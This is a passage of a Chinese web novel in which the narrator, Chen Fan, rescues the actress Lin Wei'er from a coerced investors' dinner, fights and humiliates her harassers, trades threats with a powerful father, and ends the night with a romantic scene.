“今晚?王姐……我能不能不去啊?我这里……”
她的声音里带着一丝丝的哀求。
可电话那头好像传来了训斥的声音。
林薇儿的肩膀垮了下来,她的头低下,声音很低道:“知道了……好,时间……我会准时到的……”
她挂了电话,背对着我,久久没有动弹。
她那单薄的背影,在午后的阳光下,竟然有意思凄凉。
过了一会儿,她才慢慢转过身,我看到她的眼睛很红,显然刚才是哭过了。
“哥哥……对不起……”林薇儿说话带着重重的鼻音:“我可能不和你玩了,我要走了……”
“怎么回事?”我走到她面前,安慰道:“遇到什么事了么?你可以和我说一说。”
她低下头,眼泪终于止不住了,豆大的泪珠,瞬间一滴一滴落下来。
“今晚公司安排了饭局,王姐让我去……”林薇儿哽咽着说:“是一个重要的投资人,王姐,让我,让我务必陪好。”
陪好?
潜规则?
这在娱乐圈已经是公开的秘密了!我只没想到,像林薇儿这个咖位的,也身不由己!
她抬起头看着我:“哥哥,我……我好害怕……”
064娱乐圈潜规则(下)
林薇儿神色惊慌,她如同一只受惊的小鹿,本能的想要寻求庇护。
娱乐圈那点事儿都心知肚明,无非就是借着饭局,来满足有钱人的私欲。
公司能安排林薇儿去陪饭局,可见,公司已经保不住林薇儿了。
林薇儿蹲在地上,双手掩面,她的身体不停的抽泣。
“我已经很努力……工作了……”
“我赚够钱了,就“”可以违约了……”
她的话,让我内心有点酸涩。
看来林薇儿想要离开这个公司不是一天两天,只不过碍于天价的违约金,才不得已继续工作。
我走过去,轻轻扶起林薇儿,然后用手温柔的才是掉她的眼泪。
林薇儿就那样委屈巴巴的看着我,有一种破碎的美。
“时间、地点!”我开口问道。
我的声音平静,但却带着一种不容置疑的力量。
林薇儿微微一愣,显然,她是没有明白的我的意思。
“告诉我,你今晚饭局的时间地点。”我又重复的问了一遍。
林薇儿从我的眼中看中到了一种笃定自信,她的眼睛大放光彩,她像是抓住救命稻草一般,然后说出了一个私人会所的名字。
我将这个会所记下来了,我拍了拍她的肩膀,小声安慰道:“别担心,没事的。”
我的话像是有魔力一样,让林薇儿恐慌的情绪逐渐的平静了下来。她看着我,眼神里已经有着无限的依赖,也有感激。
但更多的是,我在林薇儿的眼睛里,看到了重燃希望的光。
或许,我成为了照亮她生活里的一道光束,让她有了支撑点。
“哥哥,我……”
“走吧,我先送你回酒店,你回去好好休息。”
她点了点头,算是默认了。
我开着车,带她回酒店,这一路上,林薇儿就像是变了一个人一样,她不说话,只有沉默,看来她的心结还是没有解开。
她将怀里的礼物袋,越抱越紧,仿佛只有这样,才能给她带来安全感。
将林薇儿送回了酒店,她下了车,然后感激的对我说道:“哥哥,谢谢你。”
“回去好好休息,什么都不要担心。”
“嗯!”
林薇儿点了点头。
我看着她进入酒店的身影,瘦弱单薄,她的脚步也不在像昨天那样轻快。
直到林薇儿进了酒店,我才拿出手机,给柳媚笙拨去了电话。
“柳姐,帮我个忙。”我着急的问道。
“呦,陈总终于想起我来了啊,我还以为你这么久不联系我,是把我给忘了呢!”
柳媚笙在电话里给我一阵抱怨,我想想也是,这些天自己光忙着秦悦和苏婉情了,把这个大美人晾在了一边。
“姐姐息怒,等我忙完,一定好好陪你。”我陪着笑说道。
“是么?”柳媚笙问我。
“当然。”我接着道:“姐姐,帮我查一下,云顶会所的666包厢,今天来的都是些什么人?”
“怎么了?惹事了?”柳媚笙关心的问道。
“嗯,一个朋友,遇到了点麻烦,可能需要我帮忙。”
我顿了顿,有些不好意思道:“柳姐,如果方便的话,你今天陪我一起去把。”
我现在海城不过是一个新晋的商界精英,没有什么太多的话语权,但柳媚笙可不一样,她侵染这里多年,早就攀上达官显贵了。
有她陪着我,我的心里也有底。
没过多一会儿,柳媚笙的电话就打了过来,她高温诉我,云顶今天的客人是王鼎山,是很有实力的富豪,但好像还有一个神秘贵客,柳媚笙没有打听到来头。
晚上,我开车去接柳媚笙。
好几天没有见到她,还有点怪想念的。
尤其是她一颦一笑的妩媚姿态,她今天穿的职业装,优雅妩媚又干练,她的长发依旧是滚烫的波浪,眉眼之间,含着柔情。
一上车,柳媚笙就亲了我一口,然后她就紧紧拉着我的手,我们两个人开车去往云顶会所。
到了云顶会所,我和柳媚笙并没有直接进去,直到我收到了林薇儿的短信。
“哥哥,我可能出不去了,我好害怕……”
我将这个信息给柳媚笙看了,她说道:“看来这些大佬们有点急不可耐了,快点上去看看吧,在晚一点进去,你的小妹妹,就要被狼群给吃了。”
“你不怕王鼎山么?”我问道。
既然他来头这么大,贸然的进去,肯定会得罪这个人。
柳媚笙摇了摇头,道:“我巴不得得罪他,我手里有他的黑料,关于王鼎山在海外资金的资料,正好可以趁机敲他的竹杠!”
我笑了笑,原来帮我只是顺势而为,柳媚笙真正的目的就是奔着王鼎山来的。
“姐姐,不妨告诉我,这次你能敲王鼎山多少钱?”
“见好就收!”
柳媚笙给我卖了一个关子。
柳媚笙刚走进云顶的会所,主管就立马跑了过来,他笑容满面:“柳总,您来了,怎么不提前说一声,我好给您安排个雅间。”
“我和朋友来找人的。”柳媚笙笑着说。
“哪个房间,我让手下的人带你过去?”主管赔笑道。
“不用了,我自己上去就行。”
柳媚笙谢绝了好意,与我一起乘坐电梯,去往666的包房。
云顶会所的私密性极好,走廊铺满了厚厚的地毯,寂静无声,两旁的包厢门都紧闭着,完全听不到任何的声音,我们走到666的包房门口,就被门口站着的两个保镖给拦住了。
“抱歉,女士先生,这里是私人宴请,不接待外壳。”壮汉拦住了我们两个人。
柳媚笙笑了笑,然后从包里拿出了一张黑卡,交给了壮汉说道:“告诉王鼎山,我和陈凡来给他敬酒。”
那壮汉看了看黑色卡片,眼神闪烁了一下,他马上用耳麦向老板汇报情况,他认识这个卡片,那是魅惑酒吧顶级会员才有的,可见柳媚笙的身份尊贵。
几秒钟后,包厢门从里面打开。
我向里面看去,这里的包厢极大,装修极尽奢华,巨大的圆桌,围坐这七八个男人,他们各个脑满肥肠,气度不凡。
坐在主位上的男人,就是王鼎山!
而林薇儿则脸色苍白,一脸惊慌的坐在他的旁边……
065为红颜惹麻烦!
今天的林薇儿穿着一身藕粉色的小礼服,她的妆容精致,静静的坐在那里,眼神却写满了惊慌。
不知道为什么,看着这个二十出头的女孩,被十多个大男人围坐在酒桌上为难,我心里生出了一种怒意!
“哥哥!”
看到我的出现,林薇儿忍不住惊呼一声,她的眼中绽放出惊喜的光芒,可她瞥了一眼旁边的王鼎山,眼神随即暗淡了下来。
我看了一眼王鼎山,心想:看来他就是背后的大佬了。
柳媚笙轻轻挽住我的肩膀,小声对我说:“这里就交给我好了。”
我点了点头,我跟王鼎山没有什么交集,在这里说话也没有分量,但柳媚笙不同了,她能威胁到王鼎山,王鼎山自然要给她面子。
王鼎山看到我们,他先是一愣,随即满脸横肉的脸上堆起了热情洋溢的笑容,只不过是皮笑肉不笑,他慌忙起身,迎接我们。
“哎呀!稀客稀客!”王鼎山走了过来:“这是哪门子风将柳老板给吹了过来?快请进!”
王鼎山随后瞪了一眼外面的保镖,怒骂:“不长眼的东西,柳老板来了还敢拦着?”
我知道王鼎山是作秀,演给我和柳姐看的。
柳媚笙挽着我的胳膊,走入了包房,她自信从容大气,她的出现,吸引了包房里所有男人的目光,那些目光里,有好奇、有审视、也有不怀好意。
“王老板真是好兴致啊!”柳媚笙走了过去,她笑脸如花,同样打量着酒桌上的男人们,只不过她的眼神如刀。
最后,柳媚笙的眼神落在了林薇儿的身上。
“呦!这不是大明星林薇儿么!真是巧了,我和陈总正商量着邀请你代言呢,没想到在这遇到你了!”
柳媚笙主动向林薇儿伸出了手,我微微一笑,林薇儿慌乱中站起了身,和柳媚笙握住了手。
柳媚笙简单的一个握手,让包厢内的气氛变的微妙起来,尤其是王鼎山,他脸色有点阴晴不定,道:“柳老板消息真是灵通的很啊!不过林薇儿是我今晚请来的贵客,我们现在正在谈事,你们的事情,恐怕得明天再说了。”
王鼎山整个人往椅子上一靠,派头十足,摆出了一副大佬的气势,他摆明了就是不想放人,想赶我们走。
柳媚笙是我喊来的,我作为一个男人,不能让她一个人面对王鼎山,那太不爷们了。
“是么?”我目光直视王鼎山,语气带着不容置疑道:“我看林小姐脸色不太好,想来她的身体不舒服,作为东道主,王老板这样慢待大明星,是不是不太好,你们是不是应该关心一下?”
王鼎山眼皮都没抬一下,冷冷的问道:“你是谁?”
“凡颜资本,陈凡。”
我面容平静的道出了家门,我虽然在海城立足不久,但现在海城最热门的就是凡颜度假区了。
果然,听到我的来历后,王鼎山立即转变了态度,他笑着起身,走到我面前:“陈总真会开玩笑,林薇儿哪有什么身体不好,她无非就是害羞而已,多喝几杯就好了!”
王鼎山指了指对面的老男人,道:“李总,你还不给林薇儿满上,让柳老板和陈总见识一下咱们大明星的海量!”
妈的!
我忍不住在心里骂了一句,这个王鼎山真特么阴险,跟我玩这个?
我心里热火翻涌,火气上涨,我胸口的玉佩都在震动,不过这些人身份不简单,我不能轻易出手,揍这些人很容易,揍完之后呢?如果给柳媚笙引麻烦,那就不值得了。
那个李总阴笑了一声,拿起分酒器,就往林薇儿的酒杯里倒酒。
林薇儿的手不自觉的抖了起来,我知道她是敢怒不敢言。
“哎呀!”
就在这时,柳媚笙脚下不稳,一个趔趄,胳膊一下子撞在了李总的手上。
哗啦!
分酒器被撞飞,里面的白酒泼了李总一身。
“哎呀,对不起李总,没伤着您把?”
柳媚笙故作关心的询问,她表情懊恼,连忙拽出纸巾帮着李总擦拭衣服。
李总莫名其妙的被泼了一身的酒,他面色不悦,气的脸色铁青,可在柳媚笙这种有背景的女人面前,他有不好发作,只能自认倒霉,摆了摆手算是了事。
这么一闹,整个包厢内的气氛骤然降到了冰点,一桌子的男人都看向了王鼎山,他们的眼神里有不满。
王鼎山面子上下不来,他脸色阴沉,放下酒杯,厉声质问:“柳老板,陈总,今晚你们两个人来这里,是存心砸我王某人的场子?”
“哎呦!”柳媚笙娇媚一笑道:“王老板这话说的就见外了,我们只是关心林小姐的健康,另外,我还有一笔生意要和王老板谈谈。”
“什么生意?我跟你没什么好谈的!”王鼎山别过脸去,脸色阴沉道。
柳媚笙也不生气,她走了过去,俯下身,贴着王鼎山的耳边小声道:“关于王老板在海外那几个账户的一场资金流动,不知道王老板有没有兴趣?”
一听说海外账户,王鼎山的脸色明显不对劲儿。
他瞳孔猛然一缩,脸上的肥肉都跟着颤抖,他抬起头,看向柳媚笙的眼神多了震惊和疑惑!
他应该是在想,这个女人怎么会知道!
包厢里的其他男人,都不敢说话,面面相觑,似乎是察觉到了事情的严重性。
压力瞬间给到了王鼎山身上。
我借此机会,走到了林薇儿的面前,拉着她的手说:“林小姐,看来你确实不舒服,现在我送你回去!”
林薇儿的猛地睁开眼睛,她看着我,眼中充满了泪水,我能感受到,她冰凉的手心在颤抖。
我拉着林薇儿,将她从座位上拉了起来。
王鼎山狠狠的盯着我,他握紧拳头,从嘴里冰冷的挤出了一句话:“陈凡,我劝你别带走林薇儿,别给自己惹麻烦!”
王鼎山走到我的跟前,他凑过来说道:“林薇儿,不是我要留她,而是云城大少爷要留她,只不过他现在还没来。”
“我不管那个少爷是谁,林薇儿,今晚我必须带走!”
066和我抢女人?
啪!
啪啪!
一阵掌声从包厢外传来,那巴掌拍的一声短两声长,极具嚣张感。
“我赵某人今儿要看看,海城是谁这么牛逼,要带走我看上的人?”
姓赵的语气及其的嚣张,说话间好像他是天王老子一样。
我瞄了一眼包厢门口,一个留着板寸,身上穿着昂贵西装的男人走了进来,他手上带着一块理查德米勒手表,彰显出他的身份与地位。
“是他?”柳媚笙眉头微蹙,小声对我说:“赵坤,云城来的,家里是开矿的,他爸是赵刚。”
赵坤的名字我没听过,但是赵刚,我是如雷贯耳,赵氏钢铁集团在全国都名列前茅。
“这下你是踢到铁板上了。”柳媚笙轻轻拉了一下我的胳膊道:“林薇儿你还要保么?”
“保!”
我没有丝毫的犹豫,既然答应了林薇儿护着她,我就一定会做到。
“哥哥……”林薇儿眼里满是歉意的看着我:“你们走吧,赵坤他是个无赖,你惹不起的……”
“惹不惹得起,惹了再说。”我摸了摸她的头,示意她不用担心。
不过这个时候,她还能让我和柳媚笙离开,可见林薇儿的人品。
赵坤扬了扬手和王鼎山打了一个招呼,后者脸上立刻堆满了谄媚的笑容,赵坤迈着嚣张的步伐,走到林薇儿的面前,笑嘻嘻说:“薇儿,今晚别走了,我好不容易来海城找你,你不留下来陪我,是不是说不过去了?”
林薇儿低着头,咬着嘴唇,脸色沉重,算是拒绝。
赵坤也不尴尬,他抬起手,想要摸林薇儿的脸,我直接出手拦住了赵坤。
赵坤仰起头,他用一种蔑视的眼神看着我:“你特么谁啊,懂不懂规矩!老王,他是干什么的!”、
王鼎山阴阳怪气道:“陈凡,海城东郊度假区的项目,就是他的,说是来找林薇儿代言,非要带走她。”
呵!——
赵坤冷笑了一声,他摸了摸鼻子,朝着屋子里的人道:“我特么以为什么来头呢,原来就是个搞农家乐的。”
赵坤指了指我的脸,一脸嚣张:“你他妈算哪根葱,老子看上的女人,你也敢拦着!滚一边去,小瘪三!”
赵坤身后的人也跟着起哄。
“坤哥说话没听见么?你聋啊!”
“穿的人模狗样的,哪个场子的保安队队长出来了?”
“真是沙比年年有,今年格外多,一个搞破农家乐的,都能出来装逼了?”
“赶紧滚出去,别碍了我们的眼睛,跟你在一个屋子,我都自掉身价。”
赵坤一脸嚣张的看着我,王鼎山也一脸得意,屋子里说有的人都哄堂大笑,他们是在看我的笑话,各种污言秽语,向我袭来。
柳媚笙刚要开口替我解围,却被我给拦了下来。
这种场合,她在出面就不太好,林薇儿是我要保的,赵坤是我得罪的,今天所有的后果,我一个人承担。
这时候,赵坤带来的纨绔自己忽然递给他一个手机,赵坤看了看上面的内容,笑的前仰后合。
“陈凡?哈哈!”赵坤捂着肚子笑道:“我还以为你什么背景呢,原来是靠着女人,在几个娘们裤裆地下钻营,侥幸吞了冯家残羹剩饭的暴发户啊!”
赵坤的话恶毒至极,他不但羞辱了我,还连带着把夏颜、柳媚笙一起羞辱,我怒火中烧,不知不觉攥紧了拳头,手指节发指吱呀的响声,我胸口的玉佩也在微微震动。
王鼎山他们端着酒杯哈哈大笑。
刚才那个被柳媚笙泼了一身酒的李总,更是大笑:“坤少,这您就不懂了,人家能屈能伸,就喜欢钻裤裆!”
哈哈!——
众人笑的前仰后合!
那个赵坤更是得意的不行,他指着我大骂道:“姓陈的,你别给脸不要脸,别以为搭上夏颜和柳媚笙,就了不起了!我告诉你,在我面前,是龙,你给我盘着,是虎,你给我卧着,我们赵家随便拔个汗毛,都比你的腰粗,识相的赶紧给我滚,别耽误我和林薇儿交流感情!”
赵坤说完就直接上手来拽林薇儿的手,她的手肘被抓的通红!
我看着赵坤那不可一世的样子,我积攒的愤怒已经攀到了顶峰,我胸口的玉佩也感受到了我的怒意,它在不停的震动,我所有的怒意瞬间转化成了战意!
“赵家?”
我脸上露出了一个诡异的笑容,瞬间出手!
我的速度快如闪电,没有人看清我的动作,电光火石之间,只听卡擦一声脆响,赵坤杀猪般的嚎叫就覆盖了整个包厢。
我只是擒住了他的手腕,然后用力一掰而已,他的手腕就被我掰脱臼了!
“啊!——”
“呀!——”
赵坤的嚎叫此起彼伏,刚才还哄堂大笑的人们,现在各个面露惬意,不敢吱声,他们看向我的眼神有躲闪、有恐惧,更多的是不可思议。
“断了!我的手断了!”
赵坤额头青筋暴起,冷汗直流!
赵坤用另一只手捂着自己脱臼的手,他声声嚎叫,叫的人心里都发毛,刚才还阿谀奉承的那几个纨绔子弟,惊的长大了嘴巴,一句话都说不出口,就连王鼎山都看傻眼了,酒杯倒了都不知道去扶!
“你敢动手打我!我要弄死你!”
“给我弄死他!给我打的他跪地求饶!”
“弄死了,我负责!”
赵坤疼的龇牙咧嘴,他还不忘命令带来的手下打我,他带来的保镖立刻行动,两个保镖一左一右的向我扑来,动作迅猛,看来也是个练家子!
呼!呼!
一阵风声向我袭来,这两个保镖速度很快。
不过眨眼之间,就扑到我面前,我不退反进!
因为我知道,最好的放手就是进攻!
我身体微微一侧,躲过左边保镖的直拳,同时我的左手闪电般的探出,精准的击打到他的下巴!
砰!
一声沉闷的响声,在紧接着卡擦一声脆响,那个保镖的下巴,被我打脱臼了!
同时,右侧的那个保镖的腿已经踢到了我的小腹,我立刻瞬间后撤一小步,化解他的腿部力量。
我的右肘如同炮弹出膛一样,画出了一个弧线,精准的砸在了他的胸口的位置。
那保镖瞬间停止动作,他眼球突出,直接捂着胸口瘫软了下去,然后大口大口的喘气!
整个过程,不到两分钟!
两个训练有素的保镖,一个下巴脱臼,一个丧失战斗力。
包厢里死一般的寂静!
我缓缓转过身,一步一步走向瘫软在地上,脸色惨白,冷汗直流的赵坤……
067你在我面前,就是一条狗!
我俯视着脚下的赵坤,目光如虎!
“你!你想干什么?!”
赵坤他用屁股一点点挪动身体后撤,他声音颤抖着说道:“我爸是赵刚!我警告你,你敢动我一下,我爸是不会放过你的!”
呵!
这是我听过最好笑的笑话!
“我已经打你了,你爸呢?在哪呢?”
我最瞧不起的就是赵坤这种富二代,吃喝嫖赌的时候没见他把赵刚名号喊出来,现在闯祸了,知道找老子撑腰了。
色厉内荏,狐假虎威!
痛打落水狗,是我最喜欢做的事情!
我蹲下身子,一把揪起赵坤的头!
啪!
我狠狠的甩了他一个耳光!这一巴掌,打的他半边脸都肿了!
“这一巴掌,是替夏颜打的!”
啪!
“这一巴掌,是替柳媚笙打的!”
啪!
“这一巴掌,是替林薇儿打的!”
啪!
“这一巴掌,是替我妈打的!”
我连着抽了赵坤不知道多少巴掌,总之我爽了,他脸肿了,谁让他嘴巴贱,骂谁不好,非得骂我。
我俯下身子,低头,在赵坤的耳边冷冷的说道:“还有,你特么给我听清楚了,夏颜、柳媚笙、林薇儿,她们任何一个,你都不能侮辱,下次再让我听到从你狗嘴里吐出不干净的字,就不是卸你胳膊这么简单了。”
我扬起手,赵坤下意识就躲闪,我朝他的脸上拍了拍,道:“我叫陈凡,告诉你爹,他儿子这只手,是我卸的,因为他嘴贱,手也贱!”
“你带来的这些保镖,一个能打的都没有!”
我的声音不大,却带着杀意,吓的赵坤都打起了寒颤,我更对他瞧不起了。
我厌恶的站起身,不在看赵坤那副胆小鬼的丑态。
静!
包厢里静的掉根针都能听到!
我环视一周,眼神冰冷,刚才还嘲笑我的人,此刻,竟然纷纷低下了头,不敢与我对视,他们开始怕了!怕我打他们!
“刚才……”我语气冷漠道:“那个说我喜欢钻女人裤裆的,是哪位老板?”
“啊……”李总吓的冷汗连连,他声音颤抖,他的双腿也跟着颤抖。
“既然你那么喜欢裤裆……”
我用手拉过一把椅子,将左腿放在椅子上,然后指了指下面,道:“李总,你也来体验一下吧!”
“啊!”
那个李总慌乱了,他下意识的看向了王鼎山,想要求救,可王鼎山此时却避而不见,一副爱莫能助的样子。
我抓起桌子上的一瓶酒,哐当砸碎!
“你不来钻,今天谁也走不了!”
给脸不要脸!那就别要了!
“李总……去吧……这位爷,咱们惹不起……”
“他不要命,你也不要命么?”
“李总,去吧,哥几个不想招惹他,况且,我才刚来,菜都没吃一口,我也不想被打成猪!”
“去吧老李,强龙压不过地头蛇……”
我见那位李总也不动身,于是我抓起一瓶啤酒,道:“既然李总不动,那大家就别怪我无情了,一人一个酒瓶子,看看你们的头硬,还是啤酒瓶硬!”
噗通!
李总被吓得摊在了地上,他真就是一摊泥,胖的流油。
他哆哆嗦嗦的朝我爬过来,他身上的肥肉一颤一颤的,看着我就恶心。
他低着头,尤其是钻我裤裆的时候,他呼吸急促,身形颤抖,我故意咳嗽了一声,他吓得直哆嗦。
“姓李的,我告诉你,学谁都行,别学赵坤嘴贱,下次再让我听见,我给你脑袋开瓢!”
“嗯嗯……”李总犹如一摊烂泥,瘫软在地上。
我环视一圈,目光落在那些纨绔子弟身上,道:“刚才是哪位说我是看场子的保安?”
“陈哥!”刚才骂我骂的最凶的那个纨绔子弟,跑了出来,他一个劲儿的朝我鞠躬道:“哥,我错了,我有眼不识泰山,您别跟我计较。”
砰!
我一个酒瓶子砸在了他的头上!
鲜血顿时从他的头顶冒出!
砰!
我又一个酒瓶子砸他头上!
砰!
这个纨绔子弟直接倒在了地上,他捂着头,痛苦不堪。
我看了看王鼎山,冷冷的说道:“王总,现在我能带走林薇儿了吗?”
王鼎山嘴角抽搐了一下,他想说什么场面话,但看看躺在地上的赵坤,还有李总,他挤出了一个笑容,道:“陈总……好手段,你请便吧。”
我朝着林薇儿和柳媚笙示意了一下,然后走出了包厢。
柳媚笙扶着惊吓过度的林薇儿跟在我的身后,我们走出了云顶会所,坐上了车。
林薇儿终于哇的一声哭了出来,这小妮子,哪里见过这种见血的场面,她被吓坏了。
柳媚笙摸着她的头,安慰道:“没事了,不用怕!”
“嗯嗯……”林薇儿点了点头,然后靠在柳媚笙的肩膀上,道:“谢谢姐姐……”
我透过后视镜,看见林薇儿哭的梨花带雨,不免有些心疼,于是开玩笑道:“那我呢?”
“谢谢你,哥哥,如果不是你来了,我一定会被……呜呜呜……”
说着,林薇儿哭的更凶了。
“讨厌~你看你把薇儿吓得……我刚哄好。”
柳媚笙笑着打了一下我的肩膀,她温柔道:“别听你陈凡哥哥的,他就喜欢吓唬你……”
林薇儿脸色有些沉重,她声音很低:“哥哥,我是不是给你们惹麻烦了,那个赵坤会不会报复你们?”
原来,这小丫头是在担心这个,怪不得她出来后,一直愁眉不展。
柳媚笙爱怜的摸了摸她的头,道:“怎么会呢?难道你没看到你哥哥刚才厉害的样子?他们不敢找麻烦的。”
那就好……
那就好……
“薇儿,今晚你去我那里住吧,你现在这个样子,不适合回酒店……”柳媚笙提议道。
“嗯……”
林薇儿点了点头,她没有拒绝,她今晚经历的事情确实需要平复,更何况,她已经不想在见到自己的经纪团队,他们没有一个人是向着自己的。
柳媚笙没有带我们去魅惑酒吧,而是去了一个她在海城极为隐秘的顶级公寓。
安顿好林薇儿后,我和柳媚笙两个人来到了阳台,这里能俯瞰整个海城夜景,我望着远方的夜景,车水马龙,流光溢彩,身边还有美人作陪,这样的生活我不得不爱。
“赵刚不会善罢甘休的,他就赵坤这么一个儿子,如今还让你打断了一条手。”
柳媚笙递给我一杯陪酒,我喝了一口,冰凉的爽感,让我心里舒坦。
“我知道。”我没有任何的表情。
“赵家在云城势力庞大,关系盘根错杂,尤其是在能源和矿产方面,赵刚资源很强大,明枪易躲,暗箭难防,你需要我做什么吗?”
柳媚笙走到我的身后,贴心的为我揉肩膀。
我思索了片刻后,道:“当务之急是林薇儿的安全,还有就是凡颜资本那边需要主义,柳姐,你觉得,如果我们签下林薇儿,会不会盈利?”
“你要开娱乐公司?”柳媚笙惊喜道。
“我想签下林薇儿。”
“以她现在的火爆程度,想不赚钱都难!”柳媚笙笑着说道。
“那就这么定了,我们明天和薇儿谈谈!”
就在这时候,我的手机响了,是一个陌生号码,归属定竟然是:云城!
难道是赵刚?!
068林薇儿的感激!
“没想到,云城那边速度够快的。”
我晃了晃手机给柳媚笙,她惊讶道:“赵刚?”
我点了点头,柳媚笙眼中也充满了警惕,这个时候从云城来的电话,不是赵家还能是谁?
我按下了接听键,并打开了免提。
“陈凡?!”
电话里面传来的是一个中年男人的声音,他的声音自带一种上位者的威严,还有压抑着的愤怒。
“是我。”我平静的说道。
“我是赵刚!”赵刚在电话里直接表明了身份,他不在压抑心中的怒火,直接开腔骂道:“我儿子现在在医院,他手腕脱臼,身上多出软组织挫伤,精神受到了眼中惊吓,敢对我儿子下手,陈凡,你好大的狗胆!”
柳媚笙微微皱眉,显然对赵刚的态度很不满。
赵刚的电话,来的比我想象中的快,听他话里的口气,也不怪赵坤嚣张跋扈,有什么样的儿子,就会有什么样的老子。
我握了握柳媚笙的手,示意她不要担心,比赵刚更狠很坏的人,我都干掉过,他算什么呢?
“赵先生……”我语气生冷,凝重道:“令郎的手,是我卸的,至于原因,你可以自己去问他,他应该很清楚,我为什么只卸他一只手,而不是把他打成残疾!”
“还有,赵先生,这里是海城,不是云城!”
我的态度直接生硬,你赵刚在牛逼,也是在云城牛逼,怎么?来我海城,动了我的人,我还惯着他?我莫不是有点大病吧!
电话那头沉默不语,但我能感觉到赵刚的不悦!
显然,赵刚没有想到,我会如此的强硬,甚至还对他挑衅,可能在赵刚的认知里,所有人都会给他赵家面子。
笑话,我要是给你面子,我还会打你儿子?
“好,陈凡,你很好!”赵刚在电话里一字一句道:“我不管你什么背景,我也不管你傍上了谁,只要是敢动我儿子,我一定会让你和你的女人付出代价!”
呵呵!
威胁我?
我陈凡是被吓大的吗?
“赵刚,你也给我听好了,我陈凡一人做事一人当,你有什么手段尽管冲着我来,但是,你如果敢动我的女人!”
我的语气里弥漫着杀意,警告他:“如果你敢动我的女人一根汗毛,我会让你的儿子在这个世界除名!”
我的声音不高,但却有着强者的威压,和不容置疑的实力,电话那头又是一阵的沉默,赵刚这辈子也没想到,会遇到我这么个掀桌子选手。
以前他遇到的,都是畏惧他的、奉承他的。
如今像我这样,做事不计后果的狠人,他赵刚怕是没有遇到过。
“好,好!陈凡你给我等着!”
砰!
电话里传来一声巨响,然后就是滴滴的声音。
赵刚应该是气的把手机给摔了!
电话被赵刚摔断了,阳台上又恢复了宁静,柳媚笙一脸担忧的看向我。
“你彻底把赵刚激怒了。”柳媚笙看着我,担心道;“赵刚这个人心眼小,气度小,睚眦必报,他肯定会报复你。”
“我知道……”我放下手机,平静道:“像赵刚这样的人,不报复我就不是他了。”
我站起身,双手扶着阳台,俯身向下望着繁华的夜景,道:“对付赵刚这种人,服软认怂都没有用,只有将他打服了,打怕了,他才会老实,否则他们只会得寸进尺。”
“对付坏人最好的办法就是:比他们还坏!比他们还狠!”
柳媚笙若有所思的点了点头,她也挺认可我的观点,她问道:“夏颜,知道这个事么?”
我摇了摇头,这种事情,我不会告诉夏颜,我也不会让她担心。
“那你不怕赵刚对她下手?”柳媚笙问道。
“夏颜身边我已经安排了保镖,信得过!”我看了看柳媚笙,像是想到了什么似的,我给刘飞打了个电话。
“刘飞,叫你找的保镖找到了吗?”我问。
“找到了啊,先来了5个人,都已经住进公司宿舍了。”刘飞在电话里兴奋道:“凡子我跟你说,他们一听说你的名号,都巴不得来呢!你在咱们这行里,真有号召力啊!”
“明天给我找两个信得过的、能打的兄弟,给我送到魅惑酒吧。”我吩咐道。
“收到!”
我挂上电话,对着柳媚笙霸气道:“给你安排两个保镖,我公司的,不要钱。”
柳媚笙嘴角上扬难掩喜悦的心情,她在我背后忽然抱住了我的腰,整个人贴着我的后背。
“真有安全感~”她轻轻抚摸我的腰,道:“就喜欢你这霸道的样子,所以,无论什么险境,我都愿意跟你一起面对。”
柳媚笙的话,让我心里一暖,她说的没错。
我在海城惹了不少事情,可每次站在我背后的,只有她,柳媚笙。
“不愧是见过大世面的女人,有眼光。”我笑着摸了摸柳媚笙的手。
被我这么一夸,柳媚笙笑的更加的开心了,道:“你在多夸我几句,我会笑的更美丽。”
“姐姐现在就娇媚的如同一朵花,你在漂亮点,还让别的女人怎么活?”
“呦,你竟然还说情话哄我了,不错,我喜欢~”
说着柳媚笙搂着我的手,更紧了。
我能感受到,她对我的喜欢和占有!
我们就这么彼此拥抱,许久……
“你打算怎么应对赵家?”柳媚笙问道。
“等!”我缓缓吐出了一个字:“现在的情况就是以静制动,赵刚肯定会出招,那我们就见招拆招,同时,让你的人开始收集赵家的消息,尤其是他产业的所有黑料,越详细越好、最好是有能把他至于死地的东西!”
我眼神冒着冷光,仇、已经结下了,那就必须要给对方置之死地,要动,就要连根一起拔起!
“明白你的意思,只不过需要给我点时间,毕竟那是在云城。”柳媚笙安静的说道。
“好……”我点了点头。
吱呀……
卧室的门被推开了,林薇儿披着睡衣,走了出来。
林薇儿走到我和柳媚笙的面前,她鞠了一躬,眼圈微红道:“陈哥……柳姐……谢谢你们,没想到给你们惹了这么大的麻烦。”
柳媚笙扶住了林薇儿道:“薇儿,你现在应该多关心一下自己的处境……”
“嗯,柳姐,我明天就会和经纪公司解约……”
我和柳媚笙对视一眼,似乎达成了某种默契。
“那你想好以后了吗?”柳媚笙问。
“还没有……”
“那这样好了,让你陈凡哥哥专门为你开个公司怎么样?”柳媚笙笑着说道。
“真的吗?那太好了!”
069痴情林薇儿(上)
林薇儿满脸喜悦,她身上的愁容一消而散。
柳媚笙饱含深意的看了我一眼,然后又看了看林薇儿,她像是发现了什么似的微微一笑,继而就离开了阳台。
晚风吹拂,我和林薇儿四目相对,我能听到她的呼吸声,她静静的望向我,眼睛里是早已藏不住的情意。
她忽然上前,搂住了我,然后将头深深的埋在我的胸口。
我下意识的抱住了她,感受着她的一切。
此时的她,在我眼里,不再是那个光环四射的大明星,不再是那个众人喜欢的国民妹妹,她就是一个受了委屈无处诉说的小女孩。
“哥哥……我想唱首歌给你听……”
“嗯……”
她依偎在我的怀里,轻柔的歌声娓娓道来……
“让蜡烛代替所有灯,让音乐代替话语声。”
“此时无声胜有声,如果要我开口。”
“只能说一句话,让我成为你的有可能。”
“让yes代替所有no,让勇敢代替所有酒。”
“刚下眉头却上心头,如果要我选择”
“只能爱一个人,让我成为你的有可能。”
林薇儿温柔细腻的歌声,犹如涓涓细流,流淌进了我的心里,在这个夜晚,她变得格外的迷人,格外的璀璨。
我知道,她唱的不是歌,而是她的心意,这个小丫头,她动情了。
她抬起头,眼睛里闪动着波动的光,她认真的问我:“陈凡,你听懂我的歌声了么?”
我微微一笑,这小丫头,竟然还直呼我的名字,不过偶尔让她这样喊一下,也有别样滋味在心头。
“嗯……”我点了点头。
“那你为什么不亲我呢?”
林薇儿闭上了眼睛,她踮起脚尖,微微翘起嘴唇,似乎是在迎接一个礼物……
她的可爱,她的纯粹,她的直接,让我无不动容。
我搂着她纤细的腰肢,将她揽入怀中,狠狠的吻向了她,我肆意的亲吻,感受着国民妹妹的温柔……
许久,我和林薇儿才分开。
